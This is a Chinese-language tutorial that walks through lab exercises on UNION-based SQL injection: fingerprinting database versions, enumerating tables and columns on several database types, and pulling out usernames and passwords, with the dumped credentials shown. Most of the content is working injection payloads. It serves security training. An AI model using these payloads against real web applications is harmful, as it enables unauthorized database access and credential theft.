sql注入详解-02

简介: 前言在利用SQL注入漏洞时,通常需要收集数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库所包含的表和列的内容。

前言


在利用SQL注入漏洞时,通常需要收集数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库所包含的表和列的内容。


查询数据库类型和版本


不同的数据库提供了不同的查询其版本的方式。 您通常需要尝试不同的查询来查找有效的查询,从而可以确定数据库软件的类型和版本。

确定某些流行数据库类型的数据库版本的查询如下:

1.png

例如,您可以通过以下输入使用UNION攻击:

' UNION SELECT @@version--

这可能返回如下所示的输出,确认数据库是Microsoft SQL Server以及所使用的版本:

示例1

2.png

3.png

其实上图只要将from后面稍微改一改即可:

4.png5.png6.png

示例2

使用Burp Suite拦截和修改设置产品类别过滤器的请求。

确定查询返回的列数以及哪些列包含文本数据(具体操作详见上一篇)

验证查询返回两个列,它们都包含文本,在category参数中使用如下有效负载:'+UNION+SELECT+'abc','def'#使用以下有效负载来显示数据库版本:'+UNION+SELECT+@@version,+NULL#

7.png8.png9.png

列出数据库的内容

大多数数据库类型(Oracle除外)都有一组称为信息模式的视图,它们提供关于数据库的信息。

您可以查询information_schema.tables以列出数据库中的表:

SELECT * FROM information_schema.tables

这将返回如下输出:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE

此输出表明存在三个表,分别称为“产品”,“用户”和“反馈”。

然后,您可以查询information_schema.columns以列出各个表中的列:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

这将返回如下输出:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar

示例:输出显示指定表中的列以及每列的数据类型

10.png11.png12.png13.png14.png15.png里面主要是划红线的地方;

再看下面一个payload:

'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_ihdmlc'--

16.png

'+UNION+SELECT+username_uwlfut,+password_efkeac+FROM+users_ihdmlc--

17.png18.png19.png

Oracle上的信息架构

在Oracle上,您可以通过稍有不同的查询获得相同的信息。

您可以通过查询all_tables列出表:

SELECT * FROM all_tables

您可以通过查询all_tab_columns列出列:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

示例

'+UNION+SELECT+'abc','def'+FROM+DUAL--

20.png

'+UNION+SELECT+table_name,NULL+FROM+all_tables--

21.png22.png

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_PQHJGZ'--

23.png

PASSWORD_AHCZXT
USERNAME_FWAHRU

24.png

'+UNION+SELECT+USERNAME_FWAHRU,PASSWORD_AHCZXT+FROM+USERS_PQHJGZ--

25.png26.png27.png

在单个列中检索多个值

在前面的示例中,假设查询仅返回单个列。

通过将值串联在一起,可以轻松地在单个列中同时检索多个值,理想情况下,还可以使用合适的分隔符来区分组合的值。 例如,在Oracle上,您可以提交输入:

' UNION SELECT username || '~' || password FROM users--

它使用双管道序列||,这是Oracle上的字符串连接操作符。注入的查询将用户名和密码字段的值连接在一起,以~字符分隔。例如,查询的结果将允许您读取所有的用户名和密码:

...
administrator~s3cure
wiener~peter
carlos~montoya
...

注意,不同的数据库使用不同的语法来执行字符串连接。有关更多细节,请参见SQL注入备忘单: https://portswigger.net/web-security/sql-injection/cheat-sheet

'+UNION+SELECT+NULL,'abc'--

示例

28.png29.png

'+UNION+SELECT+NULL,username||'~'||password+from+users--

30.png31.png

administrator~dqjdhb7q21vlpoqar7ze

32.png33.png

目录
相关文章
|
12天前
|
SQL 关系型数据库 MySQL
怎么通过第三方库实现标准库`database/sql`的驱动注入?
在Go语言中,数据库驱动通过注入`database/sql`标准库实现,允许统一接口操作不同数据库。本文聚焦于`github.com/go-sql-driver/mysql`如何实现MySQL驱动。`database/sql`提供通用接口和驱动注册机制,全局变量管理驱动注册,`Register`函数负责添加驱动,而MySQL驱动在`init`函数中注册自身。通过这个机制,开发者能以一致的方式处理多种数据库。
|
17天前
|
SQL 安全 关系型数据库
SQL 注入神器:SQLMap 简单使用
SQL 注入神器:SQLMap 简单使用
|
26天前
|
SQL 存储 Java
如何避免SQL注入攻击?
如何避免SQL注入攻击?
|
1月前
|
SQL 安全
jeecg-boot sql注入漏洞解决
jeecg-boot sql注入漏洞解决
108 0
|
1天前
|
SQL 安全 Java
Spring Boot中的跨站点脚本攻击(XSS)与SQL注入防护
【6月更文挑战第15天】在现代Web应用程序开发中,安全性是一个至关重要的课题。跨站点脚本攻击(XSS)和SQL注入是最常见的两种攻击类型,它们可以严重威胁到应用程序的安全。
6 0
|
13天前
|
SQL 监控 安全
sql注入取数据库
SQL注入是一种攻击技术,用于在SQL查询中注入恶意代码,从而绕过安全措施,获取、修改或删除数据库中的数据。这种行为是非法的,并且严重违反了网络安全和隐私原则。我不能提供关于如何进行SQL注入的指导或
|
14天前
|
SQL 数据库 关系型数据库
【SQL注入】 注入神器sqlmap的使用
数据库 SQL注入漏洞 sqlmap
51 2
|
17天前
|
SQL XML 安全
Pikachu SQL 注入通关解析
Pikachu SQL 注入通关解析
|
17天前
|
SQL 安全 关系型数据库
SQL注入常用姿势
该内容介绍了SQL注入攻击和防御的一些基本概念,以及MySQL中的几个函数:`MID()`用于提取文本字段的字符,`LIMIT()`用于限制查询结果的数量,`COUNT()`计算元组数量。它还详细讲解了两种SQL注入方法:基于布尔盲注和基于时间盲注,包括如何猜解数据库、表和字段信息。此外,还提到了SQL注入工具Sqlmap的使用方法和一些绕过过滤策略。
26 0
SQL注入常用姿势
|
17天前
|
SQL 机器学习/深度学习 人工智能
Web LLM 实验:利用 LLM API 实现 SQL 注入
Web LLM 实验:利用 LLM API 实现 SQL 注入

热门文章

最新文章